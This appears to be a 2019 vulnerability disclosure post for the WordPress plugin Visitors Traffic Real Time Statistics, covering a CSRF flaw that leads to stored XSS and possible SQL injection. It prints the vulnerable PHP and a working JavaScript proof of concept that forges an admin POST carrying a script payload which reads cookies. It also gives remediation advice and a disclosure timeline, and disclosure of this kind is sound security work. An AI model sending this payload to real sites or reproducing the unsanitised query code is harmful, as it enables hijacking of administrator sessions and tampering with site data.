WordPress
XSS
CSRF
SQLi

Visitors Traffic Real Time Statistics <= 1.11 CSRF to Stored XSS/SQLi

Published on 03.07.2019

TL;DR

Visitors Traffic Real Time Statistics is a Counter and statistics plugin for WordPress to display your WordPress blog statistics and traffic. A CSRF vulnerability in the plugin gives attackers the possibility to craft an AJAX request, which lets blog administrators alter plugin settings. Due to a lack of encoding for malicious data when displaying it in the admin backend, there is a Stored XSS. Also, as the user input coming from the attacker is directly being passed to the WPDB query() method, there might be a possible SQL injection. As of 11.06.2019, WordPress tracked 396287 downloads and there are over 40.000 active installations in the wild.

Code analysis

In the admin backend, several configuration options can be found such as IPs to exclude in the statistics. By clicking "save settings", a POST request to the same site will be issued with parameter save being set to save settings.

Thus ahcfree_savesettings() will be called:

if (!empty($_POST['save'])) {
    if (ahcfree_savesettings()) {
    //die('<br /><b style="color:green">settings saved successfully</b><br /><b><a href="admin.php?page=ahc_hits_counter_settings">back to settings</a> | <a href="admin.php?page=ahc_hits_counter_menu_free">back to dashboard</a></b>');

    }
}

Within ahcfree_savesettings(), the parameter set_ips is being assigned to variable $set_ips: $set_ips = $_POST['set_ips'];.

The next occurrence of the variable is in the query string:

$sql = "UPDATE `ahc_settings` set `set_hits_days` = '" . $set_hits_days . "', `set_ajax_check` = '" . $set_ajax_check . "', `set_ips` = '" . $set_ips . "', `set_google_map` = '" . $set_google_map . "' ";

$sql will not be altered in any way before executing the query by calling $wpdb->query($sql).

Back on the settings page, the new configuration is being retrieved $ahcfree_get_save_settings = ahcfree_get_save_settings();. ahcfree_get_save_settings() will return an object filled with the settings (set_hits_days, set_ajax_check, set_ips, set_google_map) from the ahc_settings table:

$result = $wpdb->get_results("SELECT set_hits_days, set_ajax_check, set_ips, set_google_map FROM ahc_settings", OBJECT);
if ($result !== false) {
    return $result;
}

Before showing the blacklisted IPs in a textarea input field, the object key set_ips will be saved in the variable $set_ips:

$set_ips = $ahcfree_get_save_settings[0]->set_ips;
[...]
<textarea placeholder='192.168.0.1' name="set_ips" id="set_ips" rows="3"  class="form-control" ><?php echo $set_ips ?></textarea>

PoC

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/wordpress.local\/wp-admin\/admin.php?page=ahc_hits_counter_settings", true);
    xhr.setRequestHeader("Accept-Language", "de,en-US;q=0.7,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body =
        "save=test&set_ips=\x3c/textarea\x3e\x3cscript\x3ealert(document.cookie)\x3c/script\x3e";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
</script>

The malicious payload will be displayed to administrators visiting the settings page for the plugin. However, with an XSS vulnerability, attackers can access the whole DOM, which results in endless possibilities for exploitation. For example, the attacker can use the administrators CSRF token to trigger actions in the admin backend or even add a JavaScript snippet which will be presented to all the visitors to achieve a bigger impact mass-wise.

Remediation

Create and send a WordPress Nonce with the request updating the settings. Verify the Nonce before executing the query. Also, the IPs should be encoded before displaying. On top of that, prepared statements should be used to protected against SQL injections.

Timeline (to be updated)

11.06.2019 - Reached out to vendor
30.06.2019 - Reached out again
02.07.2019 - Version 1.12 with fix for Stored XSS and SQL Injection published, reached out to get the CSRF vulnerability fully resolved

Related posts

Did you have a nice stay? You might also like the following articles, as they are related to at least one of the current posts tags: WordPress, XSS, CSRF, SQLi.